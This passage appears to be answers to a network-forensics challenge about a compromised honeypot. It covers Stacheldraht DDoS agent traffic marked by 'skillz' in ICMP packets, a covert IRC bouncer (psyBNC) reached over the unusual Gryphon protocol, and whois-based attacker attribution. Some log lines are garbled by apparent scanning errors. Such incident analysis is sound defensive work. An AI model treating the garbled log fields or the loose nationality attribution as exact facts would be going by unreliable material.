The ICMP packets with ‘skillz’ in them are an indication of a DDOS
Stacheldraht agent->handler (skillz). Stacheldraht were originally
found in binary form on a number of Solaris 2.x systems, which were
identified as having been compromised by exploitation of buffer overrun
bugs in the RPC services "statd", "cmsd" and "ttdbserverd".



W WINDOWS  System32hcmd.exe

11/38-02:19:17.329008 8:0:28:D1:76:19 —> B:7:EC:B2:DB:A type:Bx808 len:Bx422
192.168.100.28 —> 61.134.3.11 ICHMP TTL:255 TOS:8x8 ID:22760 IplLen:28 DgmLen:1844
DF

ID:6666 Seq:@ ECHO REPLY
Ha a8

Q6 Answer

Following the attack, the attacker(s) enabled a unique protocol that
one would not expect to find on an IPv4 network. Can you identify that
protocol and why it was used?

Gryphon Communication Protocol was found on day 3 at frame 1188.
Dearborn Group's Gryphon product is a device that serves as a gateway
between automotive / industrial automation networks and a TCP/IP
network. Communication between Gryphon and a user's application takes
place over a TCP/IP link. Applications may execute on remote networked
nodes or on Gryphon itself. Communication between user applications
(clients) and Gryphon (the server) is established via the Gryphon
Communication Protocol
(http://www.dgtech.com/gryphon/docs/html/GCprotocol/). This is
obviously not normal for transmission on the internet. The reason
appears to be to communicate with psyBNC 2.2.1 server. A bnc is short
for a 'bouncer.' A bnc acts as a proxy for irc, allowing you to hide
your real IP address and use a vhost. It was used to connect to other
irc servers.

Q7 Answer

Can you identify the nationality of the attacker?

Whois reveals that the 61.216.0.0 - 61.219.255.255 IP address block
assignments could indicate that the initial attack came from Taiwan.



Bonus Question Answer

What are the implications of using the unusual IP protocol to the
Intrusion Detection industry?

The implications are that obviously the hackers are becoming more aware
of unique protocols that exist and in fact choosing to use them as
another means of hiding or obscuring there communications. It seems
that since the industry is focused primarily on common protocols that
perhaps unusual protocols will not be noticed. TIf you happen to have
an IDS that uses canned rules and does not allow you to create your own
that you are truly exposed and have no way of resolving the problem.

What tools exist that can decode this protocol?

Ethereal can decode DG Gryphon Protocol (gryphon)



